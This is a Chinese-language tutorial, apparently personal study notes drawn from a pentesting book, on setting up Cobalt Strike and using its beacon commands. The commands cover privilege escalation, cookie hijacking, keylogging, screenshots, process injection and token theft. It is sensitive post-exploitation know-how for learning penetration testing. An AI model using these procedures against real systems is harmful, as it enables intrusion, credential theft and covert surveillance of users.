cobalt Strike
- 0x00:from
- 0x01:安装
- 0x02:Beacon的常用操作命令
- 1.使用getuid命令获取当前用户权限
- 2.使用getsystem命令获取system权限
- 3.使用getprivs命令获取当前beacon的所有权限
- 4.使用browser pivot模式劫持指定的beacon浏览器
- 5.使用Desktop(VNC)进行VNC连接
- 6.文件管理模块
- 7.net view 命令
- 8.端口扫描模块
- 9.进程列表模块
- 10.screenshot命令
- 11.log keystrokes模块
- 12.inject命令
- 13.steal Token模块
- 14.Note模块
- 15.exit命令
- 16.Remove模块
- 17.shell命令
- 18.run命令
- 19.execute命令
- 20.powershell模块
- 21.powerpick模块
- 22.powershell-import 模块
cobalt strike是一款非常成熟的渗透测试框架。CS在3.0版本之前是基于Metasploit框架工作的,可以使用Metasploit的漏洞库。从3.0版本开始,cs不再使用 Metasploit 的漏洞库,成为了一个独立的渗透测试平台。
cs是用Java语言编写的。其优点在于,可以进行团队协作,一搭载了cs的teamserver服务的服务器为中转站,使目标系统权限反弹到该teamserver服务器上。同时,cs提供了良好的UI界面。
cs不是免费的哈。
0x00:from
--《内网安全攻防》
0x01:安装
1.安装java运行环境
1.下载
因为启动cs需要JDK的支持,所以需要安装java环境。打开oracle官方网站,选择jdk1.8版本。下载linux x64安装包。
2.解压安装配置环境变量
kali2默认自带这里就不写了
3.部署TeamServer
在安装cs时,必须搭建团队服务器(也就是TeamServer服务器)。打开CS文件夹,linux环境建议直接chmod 777
cs文件夹下各文件的功能
- agscript:拓展应用的脚本
- c2lint:用于检查profile的错误和异常
- teamserver:团队服务器程序
- cobaltstrike.jar/cobaltstrike:客户端程序,我这里windows无法直接打开jar,也不知道出了什么毛病,bat可以另一个是linux的可执行文件。
- logs:日志,包括web日志、Bcacon日志、截图日志、下载日志、键盘记录等。
- update和update.jar:用于更新CS
- data:用于保存当前teamserver的一些数据
首先运行teamserver
./teamserver 192.168.150.145 123456//linux
teamserver 192.168.150.1 123456 //windows
运行成功:
如果要将teamserver部署到公网,记得使用强口令。
2.启动cs
1.启动cobaltstrike.bat
双击.bat文件即可
在客户端向服务器成功获取相关信息后,即可打开cs主界面,cs主界面主要分为菜单栏、快捷功能区、目标列表区、控制台命令输出区、控制台命令输入区。
- 菜单栏:集成了cs的所有功能
- 快捷功能区:列出常用的功能
- 目标列表:根据不同的显示模式,显示已获取权限的主机及目标主机
- 控制台命令输出区:输出命令的执行结果
- 控制台命令输入区:输入命令
2.利用cs获取第一个beacon
1.建立listener
可以通过菜单栏的第一个选项“cobali strike”进入“listeners/监听”面板,也可以通过快捷功能区进入“listeners”面板。
单击“Add”按钮,新建一个监听器,输入名称、监听器类型、团队服务器IP地址、监听的端口,然后单击“save”按钮保存设置。第一个监听器建立成功。
2.使用web delivery执行payload
单击“attacks/攻击”菜单,选择“web drive-by”--“scripted web delivery”选项
或者通过快捷方式打开
保持默认配置,选择已经建立的监听器,设置类型为powershell,然后单击“Launch”按钮,最后,将cs生成的payload完整的复制下来。
3.执行payload
如果一切顺利,就可以在cs的日志界面看到一条日志
在cs的主界面中可以看到一台机器上线(包含内网ip、外网ip、用户名、机器名、是否拥有特权、beacon进程的pid、心跳信息)
4.与目标主机进行交互操作
单击右键,在弹出的快捷菜单中选需要操作的Beacon,然后单击“interact”选项,进入主机交互模式。
现在就可以输入一些命令来执行相关操作了,输入“shell whoami”命令,查看当前用户,在心跳时间后就会执行该命令。在执行命令时,需要在命令前添加“shell”。beacon的每次回连时间默认为60s。
回连后,执行命令的任务将被下发,并成功回显命令执行结果。
5.sleep命令
单击右键,在弹出的快捷菜单中选择“Session”--“sleep”选项,或者在Beacon命令行环境中执行如下命令,即可调用sleep命令。
sleep 1
在默认情况下,cs回连时间为60s,为了增加响应速度,可以选中一个会话,右键选择进入beacon执行sleep 1命令,将心跳时间更改为1s。
0x02:Beacon的常用操作命令
1.使用getuid命令获取当前用户权限
beacon命令行:getuid
getuid命令用于获取当前beacon是以哪个用户的身份运行的,是否具有管理员权限等。
2.使用getsystem命令获取system权限
beacon命令行:getsystem
输入:getsystem
system权限是windows操作系统中的第二高权限。即使拥有system权限,也无法修改系统文件。TrustedInstall权限是windows操作系统中的最高权限。
3.使用getprivs命令获取当前beacon的所有权限
beacon命令行:getprivs
getprivs命令用于获取当前beacon包含的所有权限,类似在命令行环境中执行“whoami/priv”命令。获得尽可能多的权限,在beacon命令行输入“getprivs”命令
4.使用browser pivot模式劫持指定的beacon浏览器
图形化操作:点击右键,选择“explore” -- “browser privot”
beacon命令行:browserpivot pid x86/x64
browserpivot stop
Browser Pivot 模块用于劫持目标的IE浏览器,在目标主机上开设代理。本地浏览器通过代理劫持目标的cookie实现免登陆。
5.使用Desktop(VNC)进行VNC连接
图形化操作:右键,选择“explote”--“Desktop(VNC)” 选项。
beacon命令行:desktop
将VNC服务端注入目标机器,即可通过参数控制通信质量。需要注意的是,运行此模块时,不要使用system以及更高的权限(如果使用这些权限运行此模块,可能无法连接用户屏幕),应尽量以指定用户权限使用此模块。默认为只读模式,只能查看用户的桌面。单击界面下方的第二个图标,即可进入操作模式。
6.文件管理模块
图形化操作:右键选择 “explore”--“file browser”
beacon命令行 :cd 、ls、download(下载文件)、upload(上传文件)、execute(执行文件)、mv、mkdir、delete。
文件管理模块有时候会因为权限过高或者过低而无法浏览目标文件。切换目录、执行文件等动作,本质上都是beacon在执行命令,所以在下一次心跳才有数据返回。基本操作都可以图形化界面中完成。
文件管理模块正常运行的结果:
选中一个可执行文件,右键会出现“execute”选项,选择该选项,即可带参数执行。
7.net view 命令
图形化操作:右键,选择“explore”--“net view”选项
beacon命令行:net view <DOMAIN>
执行net view 命令,会显示指定计算机共享的域、计算机和资源的列表。在cs主界面选择一个beacon,进入交互模式,输入“net view”。
net computers:通过查询域控制器上的计算机账户列表来查找目标。
net dclist:列出域控制器
net domain_trusts:列出域信任列表
net group:枚举自身所在域控制器中的组。“net group \\target” 命令用于指定域控制器。“net group \\target<group name>”命令用于指定组名,以获取域控制器中指定组的用户列表。
net localgroup:枚举当前系统中的本地组
net logons:列出登陆的用户
net sessions:列出会话
net share:列出共享的目录和文件
net user:列出用户
net time:显示时间
8.端口扫描模块
图形化操作:右键选择“explore”--“port scan”
beacon命令行:portscan [targets][ports][arp|icmp|none][max connection]
端口扫描界面:
图形界面不能自定义扫描范围,但是命令行可以
192.168.1.0-192.168.1.254;192.168.1.0/24,自定义的端口范围用逗号分隔。
端口扫描界面支持两种扫描方式。如果选择“arp”选项,就使用ARP协议来探测目标是否存活,“icmp”则是ICMP协议弹出。“none”则默认都存活。
由于portscan采用的异步扫描,可以使用max sockets参数限制连接数。
9.进程列表模块
图形化操作:单击右键,在弹出的快捷菜单中选择“explore”--“process List”选项
beacon命令行:ps查看进程 kill杀死进程
进程列表就是通常说的任务管理器,可以显示进程的id、进程的父id、进程名、平台架构、会话及用户身份。当beacon以第权限运行时,某些进程的用户身份将无法显示。
下图以system权限运行。可以选中进程点击kill结束进程,也可以在beacon命令行环境下使用kill pid 命令结束进程。
10.screenshot命令
图形化操作:右键选择explore--screenshot 选项
beacon命令行:screenshot [pid]<x86|x64>[run time in seconds]
在cobalt strike主界面选择一个beacon,进入交互模式,执行“screenshot”命令,获得此刻目标主机当前用户的桌面截图,可选择“view”--“screenshots”选项查看截图
screenshot命令还支持定时截图,例如命令“ screenshot 2032 10”表示将 screenshot 命令注入PID为2032的进程空间,每10s截图一次,将截图传回团队服务器。
无法使用system权限进行以上操作。
11.log keystrokes模块
图形化操作:选择“process List”--“log keystrokes”
beacon命令行:keylogger[pid]<x86|x64>
log keystrokes模块用于将键盘记录注入进程,当目标主机使用键盘进行输入时,就会捕获输入的内容并回传团队服务器。
可以选择“view”--“log keystokes”选项查看键盘输入记录。
同样尽量使用普通用户权限进行操作,无法使用服务账号或system及以上权限操作。
12.inject命令
图形化操作:依次选择“process list”--“inject”选项
beacon命令行:inject[pid]<x86|x64>[listener]
将payload注入目标进程,可以回弹一个beacon。选择一个进程,单击“inject”按钮,将会弹出监听器选择界面。选择一个监听器,就会返回目标进程PID的beacon会话。系统进程的PID和beacon的PID是一样的,仅通过进程列表无法发现异常。
13.steal Token模块
图形化操作:依次选择“process List” --“Steal Token”
Beacon命令行:steal_token [pid]
steal token模块可以模拟指定用户身份运行进程的令牌。在域渗透测试中,若非在域控制器中发现以域管理员身份运行的进程,可以使用Steal Token模块获取域管理员权限,或者从管理员权限提升到system权限。可以使用rev2self命令将令牌还原。
输入命令:steal_token [pid] 就可以获得指定进程的令牌了。
14.Note模块
图形化操作:单击右键,选择“Sessions”--“Note”选项。
Beacon命令行:note [text]
使用Note模块可以给目标设置标记,单击确定后,标记就会在会话列表显示出来
15.exit命令
图形化操作:右键选择“sessions” -- “exit”
beacon命令行:exit
exit命令用于退出当前Beacon命令,相当于放弃这个会话的权限,一般用exit命令搭配remove模块来清除不需要的会话。
16.Remove模块
图形化操作:右键“Sessions”--“Remove”
不需要会话时清除。
17.shell命令
Beacon命令行:shell [command] [argument]
选择一个beacon。输入shell dir,即可调用目标系统中的cmd.exe
18.run命令
beacon命令行:run [program][argument]
run命令不直接调用cmd.exe,而是直接调用“能找到的程序”,也就是能找到的exe,例如“run cmd ipconfig” 在本质上和“shell ipconfig” 一样,但使用“run ipconfig”相当于直接调用system32中间的“ipconfig.exe”
19.execute命令
Beacon命令行:execute [program][arguments]
execute命令通常在后台运行且没有回显
20.powershell模块
Beacon命令行:powershell [commandlet][argments]
powershell 模块通过调用powershell.exe来执行命令
21.powerpick模块
Beacon命令行:powerpick [commandlet][arguments]
powerpick模块可以不通过调用powershell.exe来执行命令。
22.powershell-import 模块
Beacon命令行:powershell-import [/path/to/local/script.ps1]
powershell-import 模块可以直接将本地powershell脚本加载到目标系统的内存中,然后使用powershell执行所加载的脚本的方法。命令如下:
powershell-import /root/powerview.ps1
powershell Get-NetDomain